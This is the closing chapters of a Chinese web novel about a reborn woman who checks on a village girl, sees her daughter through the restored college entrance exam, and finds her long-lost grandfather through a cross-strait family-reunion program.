钟莹莹偷偷瞄了一眼，就见高传家拿着根绣花针，有些诡异的在那穿针引线不知道在绣些什么呢。 象药不在院里，她儿子也不在，但是钟莹莹心心念念的那个人正在院里踢毽子呢。 “爹！你给我绣个荷花，我要村里那个粉色的！”小丫头声音清脆，说话的同时还不往脚上的动作，那毽子被她踢到天上去，再掉下来，她都能灵巧的接住。 高传家听到她的话，停下缝东西的手，对她道：“上次你给爹承诺的什么？期末考试能考及格，结果你考了几分？” “略略略～”小丫头做了个鬼脸，收起毽子，很不好意思的跑出院子，想远离那个唠唠叨叨的爹。 她不是不想考高分，那知识就是不往脑子里进，她能怎么办？ 钟莹莹站在院外，看的分明，小丫头如今的性子古灵精怪的，一看就是蜜罐子里泡出来的。 她不再担心高传家再使阴招。 就是这丫头的成绩，怎么还跟上辈子一样，惨不忍睹啊，那小学考试，但凡听了课，胡乱写些东西也不至于不及格吧？ “小丫头，你过来！”钟莹莹冲高家颖招招手，脸上绽放的笑容像朵盛开的喇叭花。 小丫头片子没经过社会的毒打，钟莹莹一喊她就过来了。 “我这有两颗奶糖，你要吃不？”钟莹莹把手伸到高家颖面前，手心里赫然放了三颗某兔的奶糖。 小丫头直接就看直了眼睛，现在的高传家虽然正干了，但是凭借着他的挣钱能力，小丫头只能吃饱，吃好那还有很长一段时间的路要走。 看自己的糖勾搭住小屁孩，钟莹莹开始问她：“你哥上哪去了你知道吗？” 高家颖眼睛放在糖上，想也不想的直接答到：“哥跟别人玩土珠珠去了。” 土珠珠是乡下孩子自己做的玩具，用泥和水团成泥球，再晒干，就得到了低配版的玻璃珠。 “你哥会打人不？” 小丫头口水都快流下来了，但还是坚持住答了钟莹莹的话：“哥不打人，哥会给我带烤麻雀吃！” 她最喜欢她哥了。 “你认得高家娣不？你知道她家住哪吗？”得到想要的答案，钟莹莹十分满意的将手里的糖剥了给小丫头吃。 “家娣姐？我知道！” “我带你去！” 给她糖吃的人是大好人，小丫头都不用钟莹莹哄骗，奶糖入口的那一瞬间，她就被钟莹莹给收买了。 到了高家娣家里，还真赶巧了，她真在家。 “家颖？莹莹？”两个不相干的人走在一起，高家娣属实是有些惊讶。 高家颖嗦着嘴里的糖，口齿不清道指着钟莹莹道：“家……娣姐，她……找你！” 钟莹莹摸了摸小丫头的脑瓜子，笑着给高家娣解释道：“我哥有事，我替他来高家村拉货，顺道过来看看你在不在家。” “你会开车？”高家娣惊了，在她的印象中，只有男人会开车，钟莹莹如果会的话，那她就是自己见过的第一个女司机。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 第 181 章【VIP】 第181章 “会啊，开车又不难，花点钱，上县里去考个证就行。”钟莹莹耸耸肩道。 高家娣：“那还是你聪明，要是真照你说的这么简单，哪还会有那么多去考驾驶证考不过的？” 高家娣在城里待了这么些年，如今也算是半个城里人了。 她是没见过哪个人去考驾驶证像钟莹莹说的这般轻巧。 钟莹莹：“不说这开车的事了，你闺女呢？怎么没带回来？” 高家娣也生了一个女儿，跟钟莹莹不太一样，她闺女是和孩子爹姓的。 她夫家条件比她家好，所以上户口时，她想也不想的就填了对方的姓。 “孩子她奶奶带着呢，祖孙俩亲香的不得了，我就带回村几天，她都不愿意给我。”高家娣嘴上抱怨，面上却满是笑容。 事实上，不带孩子反而是她愿意的。 小丫头三四岁，正是猫嫌狗厌的年纪，调皮捣蛋的不得了。 高家娣带她时，几乎每日都要为她搞出来的破坏收拾残局。 这好不容易回一趟娘家，她才不想带着个跟屁虫回来给自己添乱呢。 “你家那个呢？”她问。 钟莹莹答：“我娘带着呢，我这开车，总不能一手握方向盘，一手抱娃吧？” 高家娣点点头：“也是。” “你啥时候回去？要是不急，晌午可以留在我家吃顿饭，我亲自下厨。” 钟莹莹遗憾道：“那我可能没这个口福了。” “我拉一大车菜呢，一会儿装完车我就得回村去，菜放久了，就不新鲜了。” 钟家岗的咸菜厂规模能一提再提，其中原材料的质量以及各种腌制手法和调味料都缺一不可。 “唉～都是大忙人，就我一个闲人！”高家娣不由得叹息道。 钟莹莹来的急，走的也快。 至于高家颖？那丫头吃完糖早就跑没影了。 高家颖没有受到虐待，钟莹莹从高家村回到钟家岗，心中的石头又落下去一块。 重生至今，她的所有遗憾都得以圆满解决。 现在只差最后一件事，那就是找一个人，那个人有可能活着，也有可能死了，她希望他能活得久一些，再久一些…… 如今两岸不统一，仅凭她一己之力，暂时还做不到把人给寻回来。 她只能等，再等个十来年，等到两岸大一统，开放寻亲，她主动一些，哪怕得到那个人的死讯，她都觉得她娘会开心。 她娘虽然平常不提，但是钟莹莹知道，她始终是惦记着那个在小岛上的男人。 在档案室的工作安静又无聊，但就是这份工作，为钟莹莹遮掩了外界的一切风风雨雨。 旱涝保收，不管外面闹成什么样，都没能影响到他们档案室一众人员的安宁。 …… “什么？高考重启了？” 在这历史性的时刻到来之时，哪怕是他们一向佛系的档案室一众人员，都开始变得不淡定起来。 十年啊，人生能有几个十年？ 他们是有正式工作，万事不愁，可他们也有孩子啊。 如果没有高考，那他们的娃等到高中毕业后，如果不能接他们的班，那不是下乡就是当盲流，两者都不是什么好玩意。 钟瑞雪小朋友也十三岁了，随她爹娘，她上学特早，今年刚读高二，还差一年高三。 但是当她得知高考恢复的消息时，当即就兴奋的表示她要提前一年参加高考。 钟莹莹跟余嘉祥是绝对尊重孩子的想法的，左右有他们兜底，就算闺女没考上，再来一年也不是问题。 奈何在这件事上，余华容表现出了强烈的反对，搞的孩子最近茶不思饭不想的，整天耷拉着个脸。 “乖乖，别听你爷爷的，你要是想考直接去考就是，娘支持你！” “你考上哪里，娘就跟你上哪里去，大不了我跟单位办停薪留职，现在不是正兴这个吗？娘也赶一回时髦。”钟莹莹本来上班就是为了给自己找个事干，免得无聊。 这次一改革，她就按耐不住的想要辞职了，要不是惦记着给自己留一份保障，以后能拿那份视同缴费的退休金，她早就拎包跑路了。 “娘～”钟瑞雪眷恋的把头埋进钟莹莹怀里。 整个家里，她最爱的就是她娘。 平常她不爱管自己，这一遇上事了，就能看出，谁是真关心自己，谁是假关心自己。 她说要提前考试那会儿，余华容骂她昏了头，没脑子，可真是把她的心给伤透了。 亲爷爷诶，怎么能说出这样伤人的话。 钟瑞雪不理解，也不想理解。 她娘从小就教她，自己的事自己做主，自己也要负责。 钟瑞雪认为，在提前高考上，她能为自己的选择负责，她爷爷凭什么这样骂她？ 鉴于对余华容态度对不满，钟瑞雪决定，本次寒假，她不要去市里了。 “奶的乖孙哦～奶想死你了！” “奶，我也想你！”一回到钟家岗，钟瑞雪就如同脱缰野马一般，一头扎进了陈显英怀里。 看这一老一少，钟莹莹有些无语，明明上周才刚见过，想个鬼哦。 “好孩子，奶给你杀鸡让你爷给你炒鸡吃。” “来，你挑挑，看上哪只奶给你杀哪只！” 陈显英特别豪气，如今田地重新分产到户，各家各户的养殖数目也不再受限，她直接重新建了个鸡圈，一下子养了二三十只鸡。 各个威风凛凛，尤其领头的那只大公鸡，那毛色，那精气神，简直无法形容。 “奶，我要那只！”钟瑞雪一到鸡圈就相中了那只大公鸡。 “奶给你抓！”孩子想要，陈显英也顾不上这只鸡本来她事想要留来做种鸡的，只一句话，今天必须要让她的好大孙吃上这只鸡。 钟莹莹手里拿着一个青萝卜，啃着嘎嘣脆的萝卜，就这么淡定的看着老娘跟闺女鸡飞狗跳的在那抓鸡。 “娘，那鸡往右边跑了，你注意右边……哎呀……它又上左边去了……” 日子越过越好，她娘心宽体胖，早年做过手术的身体都变得好了不少。 在钟莹莹的一通瞎指挥下，那只可怜的大公鸡最终还是做了他们肚里的亡魂。 “唔～真香。” 果然，还是自己亲手抓的鸡比较香，钟瑞雪这般想着。 另一边，市里，余华容在家里等了又等，一直没等来大孙女的电话。 他忍不住给余嘉祥打了个电话。 “嘉祥，这放假了，雪雪有说什么时候过来吗？” 余嘉祥轻笑一声：“爹，你把她骂那么惨，还指望她假期上你那啊？” “别等了，雪雪跟她娘回钟家岗了。” 余嘉祥说完就把电话给挂了，一点没有要管电话那端他亲爹死活的意思。 余华容挂断电话，天都塌了。 说好的一家轮一年的，孩子今年该跟他过年了，钟家人这不是耍赖吗？ 不行，余华容不能忍。 当即他就决定，今年他也要上钟家岗过年去。 至于之前和他宝贝大孙女之间闹的不愉快，他很刻意的忽略了这个现实。 只要能跟孩子一块过年，脸算什么东西？ “爹，你上哪去？”长大后的小胖子变成了大胖子，临近过年，他拎着两罐水果罐头就上余华容这来了。 与其说他是来给余华容送礼的，不如说他是来打秋风的更为合适。 因为他每次来都是随手带点小东西，然后再从余华容这里掏走一大堆东西。 “我有事，你先回去吧！” 余华容瞥了一眼大胖子手里的东西，他心中也有数。 这孩子跟他娘生活，性子完全偏向了琬容娘家人。 抠搜又小气，还喜欢占人便宜。 余华容要不是念及他是自己亲生的，早跟他断绝关系了，还轮得着他来占自己便宜？ 他匆匆锁上自家大门，直接把大胖子给关在了门外。 余华容走后，大胖子愤愤不平的踹了一脚余家的大门。 “该死的！” 他都这么主动了，这个老不死的，连表示都不表示。 他兜里都没钱了，从老头这掏不着钱，大胖子都不知道接下来的日子，自己要拿什么来生活。 余华容才不管他心中的那些弯弯绕绕，这人老了，不爱去搞那些算来算去的东西。 他拿着高价买来的火车票，老当益壮的扛着一堆行李，兴冲冲的朝着钟家岗就驶了过去。 他到钟家岗时，众人正忙活着杀猪做杀猪菜。 “哟～稀客啊！”余嘉祥看着自己爹拎着一手的东西，一脸拘谨的来到钟家岗，直接原地表演了一个‘父慈子孝。’ 余华容懒得搭理他，拎着东西就上钟家去了。 “亲家母，我来看看雪雪。”余华容扬起笑脸进到钟家小院。 陈显英也不好让他热脸贴冷屁股，她也客客气气道：“快，进来坐，雪雪，你余爷爷看你来了！” 钟瑞雪原本正在房里跟她娘玩翻花绳呢，生在城里长在城里，她对于这种小玩意见的少，偶尔这么一玩，反而觉得很有意思。 听陈显英喊她，她没听见前面那个余字，还以为是钟伟先叫她，因此，她想也没想的就放下绳子，从房间里走了出去。 “奶，爷爷找我什么……事？”话没说完，她就看见钟家堂屋里正襟危坐的余华容，她直接闭嘴翻脸，默不作声的又回到了钟莹莹的房间里。 钟莹莹看她一脸不高兴的样子，感到奇怪，就问她：“怎么了？不是爷爷找你吗？” 钟瑞雪撅着嘴道：“喊我的是姓余的爷爷。” 钟莹莹了然，这是还记着她之前挨骂的事情呢。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 【全文完结】 第182章 钟瑞雪的倔犟是出了名的。 任谁怎么叫，她都没出房间去见余华容。 最后还是村里的杀猪菜做好了，她被香味那么一勾，才出了房间的大门。 忽略与余华容那张老脸，吃着新鲜的猪肉猪杂做成的杀猪菜，钟瑞雪的心情还是十分愉悦的。 她正开心的吃着饭呢，偏偏有那不长眼的，非要凑到她跟前来，钟瑞雪感觉整个人都不好了。 余华容既然来了钟家岗，那就是抱着跟孙女和好的决心来的。 他端着碗，豁出老脸的对着钟瑞雪讨好的笑着：“雪雪啊，之前是爷爷不对，爷爷不该骂你的，都是爷爷的错。” “爷爷这次来，是专门给你赔罪来了。” “你看这是什么！”余华容从上衣口袋里掏出一块怀表在钟瑞雪面前晃了晃。 金色的表链和表盘在阳光下折射出异常耀眼的光芒，钟瑞雪的注意力一下子就被吸引了过去。 余华容见状得意洋洋道：“这块表可是爷爷托人从海市带回来的，专门替你准备的，快戴上看合适不合适！” 钟瑞雪还端着呢，余华容就已经把表给塞进了她手里。 看着手里精致的怀表，再看看她爷爷殷切的眼神，钟瑞雪忽然觉得心里的那股气小消散了许多，她把碗放下，把怀表戴上。 余华容看看表，再看看她，立马化身夸夸狂魔，什么‘雪雪戴这块表真好看’喽，什么‘人配衣裳马配鞍，我家雪雪本来就优秀，戴块金表看起来更优秀’喽，总之各种夸赞像是不要钱一般，一句一句从他嘴里吐噜出来。 余嘉祥听到他的话，都感觉到牙酸，不明白在他小时候一向严格对他的老爹，怎么会变成如今这个谄媚殷勤的样子的。 余华容自己不觉得自己有哪里不对，他孤寡老人一个，就喜欢多见见健康有活力的孩子。 钟瑞雪这娃娃，刚满月时还是个缺牙巴呢，就能冲他露出甜甜的笑容，怎么让人能不喜欢？ 因为她的讨喜，直接让余华容忽略了她的*姓氏问题，不知不觉间就在她的身上投入了一笔又一笔的资源和钱财。 俗话说的好，钱在哪里，爱就在哪里，等余华容察觉自己把大半身家全给了这个孩子时，之前付出的沉没成本已经让他无法再放弃这个异姓孩子。 就算他心存其他小心思，也只能一条路走到黑，在投资钟瑞雪的路上一去不复返。 在钟家的这几天，是余华容整个后半生过的最快乐的一段时间。 他不知道用什么来形容这种感觉，每天在村里日出而作，日落而息，生活规律，鼻腔里呼吸的都是新鲜空气。 余华容想，如果要形容这种生活，那就只能用‘宁静祥和’四个字了。 “雪雪，好好学习，考试加油！”过完年余华容就要赶回市里上班去，临走前他还不忘表态自己现在已经改变主意，愿意支持钟瑞雪提前高考了。 六月的天异常的炎热，今天就是钟瑞雪小朋友要进考场的日子了。 不知为何，钟莹莹在这天突然感觉到了莫名其妙的紧张，明明自己高考那年，她都没有出现这种情况。 这难道就是传说中的关心则乱？ 站在县中的考场外，钟莹莹的心七上八下扑通扑通跳个不停。 她跟余嘉祥是请了假过来的，不为别的，就为能守着她闺女高考，万一出现突发情况啥的，他们当爹妈的在考场外，还能有个照应。 “几点了？” “四点半！” “哎呀，这时间怎么过的这般慢？” 在树荫下走来走去的钟莹莹，心里急的要死。 好不容易等到五点钟，考场放人了，她立马蹿到了一众家长前面，像一块望女石一般，脖子伸的老长，去搜寻她闺女的踪迹。 “出来了，出来了。” 钟莹莹敏锐的找到钟瑞雪，并钻到了她身边。 “闺女，考完试是不是感觉浑身轻松？走，娘带你下馆子去！”顾不上自己的头发被人群挤的乱糟糟的，钟莹莹只想好好犒劳一下闺女。 至于成绩啥的，都见鬼去吧，考完试这些东西该丢就丢，没必要太在意。 钟瑞雪以往成绩就不错，继承了父母的优秀智商，她在做考卷时，除了最后一道大题，在其他题上，几乎没感到阻力。 “嗯，娘，我饿了，我们吃饭去！” 虽然对考试成绩有把握，但母女俩都很默契的没有提及考试的事情。 七月底，出成绩，钟瑞雪的分数非常的出彩，省前二十，几乎全国所有的高校她都能选择。 跟父母不同，这次她选择了出省，去海市。 钟莹莹不干涉她的任何选择，只是在身后默默的给予她支持。 九月，大学开学，钟莹莹也跟着一块去了海市。 但她这回去海市，不单单是为了送闺女上大学，更多的是为了刚刚开放的两岸寻亲活动。 她娘能不能了了这个心愿，单看这个活动能不能找到她外公的消息。 近乡情怯，陈显英害怕去了海市到头来还是一场空，她拒绝了钟莹莹带她一块去海市的要求，只是给钟莹莹说了她还记得的她爹娘的信息。 钟莹莹就这么带着她娘的厚望一路走到了海市。 “娘，海市好热闹啊！”钟瑞雪虽然之前来过海市，但是那是好几年之前了，那时国家还处于管控阶段，海市比其他地方强一些，但同样也是灰扑扑的。 这会儿开放通商后，整个海市犹如被洗净的明珠般璀璨夺目，钟瑞雪直接被迷住了。 “大城市嘛！很正常！”见过这座城市更繁华更耀眼的时刻，钟莹莹并不对现在的情况感到惊讶。 她给钟瑞雪送进校园，报了名之后，给孩子留了钱，直接去了寻亲活动的现场。 在填写各种信息时，钟莹莹的整个手心都被汗水濡湿了。 以往在办自己的事情时，她从来没有这般紧张过。 这辈子，她的各种紧张焦虑的情绪都奉献给了她闺女还有她老娘。 “一定能找到的！”钟莹莹在心里默念，给自己下暗示道。 她都幸运到能穿越重生了，那让她再幸运一些，给她娘找到亲爹又未尝不可呢？ “求求了，穿越大神，让我得偿所愿吧！”钟莹莹决定，如果这次她能够梦想成真，等回到钟家岗，她定要给穿越大神立个排位，日日上香供奉。 在她祈祷时，有一年轻人扶着一位垂垂老矣的，满身皱皮的人来到了寻亲登记位置前。 钟莹莹像是接收到了心灵感应般，直觉告诉她，面前这位老人就是她要找的人。 她凑近过去，看着老人颤抖着手，一笔一画的写下妻女的名字，钟莹莹看见白纸黑色的‘陈显英’三个大字，激动的心情溢于言表。 年轻人害怕钟莹莹伤害老人，直接防备式的挡住了她。 找到想找到人，钟莹莹对这些小动作都态度都宽容了不少。 她深呼吸两口气，努力使自己的心情平复下来，然后问老人：“请问您是叫陈宗尧吗？” 老人略微一愣神，然后很快明白钟莹莹话语中蕴含的深意，他激动的推开年轻人，一把握住钟莹莹的手，声音哽咽道：“我是，请问你是有我家人的消息吗？” 陈宗尧在岛上度过的这几十年，没有一刻不在思念妻女，跟他同一批被带过去的人，好些个都在岛上重新成家立业了，只有他，始终坚持着，他要回大陆，回去找妻子和女儿。 “我娘叫陈显英，她委托我过来找她父亲，目前您的信息和她告知我的信息，基本一致。” 钟莹莹话音刚落，老人兴奋的就快要闭过气去。 年轻人见状连忙给他塞了一颗药丸，老人的呼吸节奏刚一平复下来，他就着急忙慌的问钟莹莹：“你娘还好吗？你姥姥怎么样？” “我娘身体还成，早些年做了个手术，但是术后恢复很好，没什么影响，至于我姥姥……”钟莹莹沉默了。 她不知道该怎么回答面前这个一心寻妻寻女的老人，告知他，他的妻子早已去世，这太残忍了。 看见钟莹莹的态度，老人心里已经有了不好的预感，他眼含热泪道：“孩她娘，是我对不起你！” 想也知道，在那个吃人的年代，一个年轻女人带着一个孩子，日子过的能有多好，尤其是在他被强制带走，她们的背景还不清不白的情况下。 陈宗尧悔啊，要是当年他不给某姓氏的人当手下，哪还会经历这种骨肉分离，生离死别啊。 经过一系列的核实后，陈宗尧最终还是跟着钟莹莹一块返回了钟家岗。 不必多说，父女相见，又是泪眼汪汪。 在给钟莹莹姥姥上完坟后，老人当即不顾年轻人的反对，表示他要落叶归根，不再回小岛，要留在妻女身边，等他死后要跟他亡妻合葬。 年轻人劝了又劝，实在劝不动他，只能回去打报告去了。 春去冬来，老人的身形越来越颤颤巍巍，但是生命却犹如风中残烛般异常顽强的挺立了一年又一年。 一直到钟莹莹攒够最低退休年限从岗位上退下来，回村钓鱼遛狗逗猫他还活着呢。 有人故意笑话他，他就说：“早些年没能回来，孩子吃了太多苦，我得多坚持几年，给孩子多领些补助金，等到了下面，才不会挨媳妇的骂！” 他的退休金确实高，不仅覆盖了整个钟家的日常花费，就连几个孩子的上学费用他都全包了。 丽丽跟钟新澄在高考开放后第二年，终究没忍住，个个扔下工作去报名了考试，虽然年纪有些大，但什么时候学习都不算晚。 其他人都勤奋的不得了，余嘉祥还在县里上班，给钟莹莹赚零花钱。 只有钟莹莹，在还算是壮年的年纪，就开始了自己的退休生活。 她空间里攒的那些东西，她托人上交了一部分，至于留下的那些，她现在又不缺钱，她准备留着给孩子当传家宝。 钟莹莹在村里的退休日子过得悠闲又自在，想吃啥喝啥都喊自己爹娘。 这不，今天她就特别想吃烤红薯，她眼睛睁也不睁的喊道：“娘，我要吃烤红薯，你别忘了一会儿在灶灰里给我埋一根！” 没一会儿灶房里传来陈显英的骂声：“吃什么烤红薯？我看你像烤红薯！” 嘴上骂人，她手上的动作却实诚的很。 一根细长饱满的红薯直直的被扔进了刚熄灭的灶火中。 钟莹莹坐在躺椅上等待着自己的烤红薯，大概过了俩个小时，陈显英把熟透的红薯给她拿过来。 钟莹莹把红薯一掰三半，一半给她娘，一半给她姥爷，最后一半吹吹热气，塞进自己嘴里。 下午的阳光依旧有些刺眼，她伸手挡住直射眼睛的光芒，在朝正前方望去的同时，她心想：今天的阳光真好啊，晒的人身上暖洋洋的～ 微风拂面，家人在身边，一切的一切都是最好的安排。 全文完——魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m